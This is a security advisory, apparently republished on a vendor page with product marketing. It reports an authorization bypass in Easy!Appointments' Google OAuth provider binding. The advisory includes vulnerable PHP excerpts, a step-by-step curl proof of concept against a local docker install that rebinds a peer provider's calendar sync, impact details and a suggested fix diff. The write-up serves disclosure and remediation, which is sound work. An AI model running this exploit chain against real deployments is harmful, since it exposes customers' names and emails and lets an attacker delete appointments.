Summary
Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync
Google::oauth at application/controllers/Google.php:278 stores its URL-supplied provider_id in the session, and oauth_callback saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data.
Preconditions
- Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in.
- The instance has Google Calendar OAuth configured at
application/config/google.php- i.e. any deployment that uses the Google sync feature at all. - Default deployment per the project's own
docker-compose.yml; no non-default flags required.
Details
// application/controllers/Google.php:278-289
public function oauth(string $provider_id): void
{
if (!$this->session->userdata('user_id')) {
show_error('Forbidden', 403);
}
// Store the provider id for use on the callback function.
session(['oauth_provider_id' => $provider_id]); // (*) attacker-chosen id stored unchecked
// Redirect browser to google user content page.
header('Location: ' . $this->google_sync->get_auth_url());
}
// application/controllers/Google.php:305-337
public function oauth_callback(): void
{
if (!session('user_id')) {
abort(403, 'Forbidden');
}
$code = request('code');
if (empty($code)) { response('Code authorization failed.'); return; }
$token = $this->google_sync->authenticate($code);
if (empty($token)) { response('Token authorization failed.'); return; }
$oauth_provider_id = session('oauth_provider_id');
if ($oauth_provider_id) {
$this->providers_model->set_setting($oauth_provider_id, 'google_sync', true); // (*)
$this->providers_model->set_setting($oauth_provider_id, 'google_token', json_encode($token)); // (*)
$this->providers_model->set_setting($oauth_provider_id, 'google_calendar', 'primary');
} else {
response('Sync provider id not specified.');
}
}
The same controller already carries the right gate on every other sync-management entry. select_google_calendar at application/controllers/Google.php:389 and disable_provider_sync at application/controllers/Google.php:423 both refuse the call when the caller is neither an admin nor the provider themselves:
// application/controllers/Google.php:389
if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
throw new RuntimeException('You do not have the required permissions for this task.');
}
oauth and oauth_callback skip that check. Once the callback runs with oauth_provider_id pointing at a peer provider, the peer's user_settings row is overwritten with the attacker's OAuth token and google_sync is forcibly enabled.
The attack chain that delivers the data:
Synchronization::sync_appointment_savedatapplication/libraries/Synchronization.php:51runs on every booking save. The path includes the unauthenticated public booking flow (Booking::registeratapplication/controllers/Booking.php:463) and the backend save (Calendar::save_appointmentatapplication/controllers/Calendar.php:306). When$provider['settings']['google_sync']is truthy the handler readsgoogle_tokenfrom the row - now the attacker's - refreshes it, and callsGoogle_sync::add_appointment.Google_sync::add_appointmentatapplication/libraries/Google_sync.php:184-189adds the customer as a Google calendar attendee with their first name, last name, and email.- The cron-triggered
Console::sync->Google::sync($provider_id)atapplication/controllers/Google.php:44walks the existingsync_past_daysandsync_future_dayswindows and pushes every appointment to the attacker's calendar. - The same loop deletes the local row whenever the remote event throws or is
cancelled(application/controllers/Google.php:186-191); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (application/controllers/Google.php:209-254).
Proof of concept
Setup
Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:
git clone https://github.com/alextselegidis/easyappointments cd easyappointments git checkout 1.5.2 cp config-sample.php config.php docker compose up -d until curl -fsS http://localhost/ -o /dev/null; do sleep 2; doneRun the console installer. The seed sets administrator's password to the literal string
administrator(seeapplication/libraries/Instance.php:99):docker compose exec -T php-fpm php index.php console installConfigure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into
application/config/google.phpand addhttp://localhost/index.php/google/oauth_callbackto the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync.Log in as
administratorand persist the cookie jar (the project's session cookie isea_session):export ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/nullCreate the attacker provider (the default
require_phone_number=1setting makes that field mandatory). Capture both ids:CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email][email protected]' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='janedoe'")Log in as the attacker provider into a dedicated cookie jar:
export ATTACKER_JAR=/tmp/attacker.cookies curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=mallory" \ --data-urlencode "password=Attacker-pw-1" > /dev/null
Exploit
The attacker, logged in as a regular provider with id
$ATTACKER_ID, points/google/oauth/at the victim provider's id$VICTIM_ID:curl -si -b $ATTACKER_JAR "http://localhost/index.php/google/oauth/$VICTIM_ID" | head -5Expected:
HTTP/1.1 302 FoundwithLocation: https://accounts.google.com/o/oauth2/auth?...- the server accepted the call from a non-owning caller. Verify the session-side effect on disk:docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$6=="ea_session"{print $7}' $ATTACKER_JAR)showsoauth_provider_id|s:1:"<VICTIM_ID>"appended to the attacker's session data alongside their ownuser_id|i:<ATTACKER_ID>.The attacker copies the
ea_sessioncookie from$ATTACKER_JARinto a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back tohttp://localhost/index.php/google/oauth_callback?code=...and the app exchanges the code for an access + refresh token.Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's
ea_user_settings:docker compose exec -T mysql mysql -uuser -ppassword easyappointments \ -e "SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN ('google_sync','google_token','google_calendar')"Expected:
google_sync = 1,google_token = {"access_token":"...","refresh_token":"..."}(attacker's),google_calendar = primary.Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar:
CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies) curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies) curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "post_data[manage_mode]=false" \ --data-urlencode "post_data[appointment][id_users_provider]=$VICTIM_ID" \ --data-urlencode "post_data[appointment][id_services]=1" \ --data-urlencode "post_data[appointment][start_datetime]=2026-06-01 10:00:00" \ --data-urlencode "post_data[appointment][end_datetime]=2026-06-01 10:30:00" \ --data-urlencode "post_data[customer][first_name]=Carol" \ --data-urlencode "post_data[customer][last_name]=Victim" \ --data-urlencode "post_data[customer][email][email protected]"Expected: the attacker's Google calendar receives a new event whose title is the service name, with
Carol Victim <[email protected]>listed as an attendee.
Suggestions to fix
This has not been tested - it is illustrative only.
Reject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate select_google_calendar and disable_provider_sync already use.
public function oauth(string $provider_id): void
{
if (!$this->session->userdata('user_id')) {
show_error('Forbidden', 403);
}
+ if (cannot('edit', PRIV_USERS) && (int) session('user_id') !== (int) $provider_id) {
+ abort(403, 'Forbidden');
+ }
+
// Store the provider id for use on the callback function.
session(['oauth_provider_id' => $provider_id]);
// Redirect browser to google user content page.
header('Location: ' . $this->google_sync->get_auth_url());
}
Credit
Dredsen, 2026.
Impact
- Confidentiality: Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (
Google_sync.php:184-189). - Integrity: Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next
Console::syncremoves the local row (Google.php:186-191). - Integrity: Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (
Google.php:209-254).
CVE-2026-52841 has a CVSS score of 3.1 (Low). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-52841? CVE-2026-52841 is a low-severity security vulnerability in alextselegidis/easyappointments (composer), affecting versions <= 1.5.2. No fixed version is listed yet.
- How severe is CVE-2026-52841? CVE-2026-52841 has a CVSS score of 3.1 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of alextselegidis/easyappointments are affected by CVE-2026-52841? alextselegidis/easyappointments (composer) versions <= 1.5.2 is affected.
- Is there a fix for CVE-2026-52841? No fixed version is listed for CVE-2026-52841 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-52841 exploitable, and should I be worried? Whether CVE-2026-52841 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-52841 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.